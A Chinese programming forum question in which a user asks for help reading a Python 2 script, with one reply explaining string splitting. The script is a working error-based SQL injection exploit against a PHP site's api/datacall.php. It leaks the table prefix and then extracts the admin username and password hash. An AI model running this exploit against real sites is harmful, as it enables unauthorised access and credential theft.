读书人

不太了解这段python代码?达人们看看

发布时间: 2013-01-02 13:08:44 作者: rapoo

不太理解这段python代码?达人们看看!
以下这段代码看了一上午也没明白,各位牛们指点指点。多谢啦。

#!/usr/bin/python

#coding=utf-8

import urllib

import sys

def qz(url):

fp=urllib.urlopen(url+"//api/datacall.php?type=user&order=12'&by=and 1=1&limit=1")//默认url参数没用到

data=fp.read()

return data.split("select username,userid from ")[1].split("_users ")[0] //这行不理解

if len(sys.argv) !=1:

host=sys.argv[1]

qz=qz(host) // 这行应该是把host参数传给qz函数吧?

fp=urllib.urlopen(host+"//api/datacall.php?type=user&order=1%20and(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x27,0x7e,"+qz+"_users.username,0x27,0x7e,"+qz+"_users.password,0x27,0x7e)%20from%20"+qz+"_users%20where%20userid=1%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1%23"+"&by=and 1=1&limit=1") //"+qz+" 这个拼接不太理解,在这里有什么作用

data=fp.read()


[解决办法]
比如有一段字符串内容为:
data = '1234567select username,userid from where _users =1234 '
data.split("select username,userid from ")[1].split("_users ")[0]
等价于:
>>> data = '1234567select username,userid from  where _users =1234 '
>>> print data.split("select username,userid from ")[1]
where _users =1234
>>> print ' where _users =1234'.split("_users ")[0]
where
>>>
>>> print data.split("select username,userid from ")[1].split("_users ")[0]
where
>>>

读书人网 >perl python

热点推荐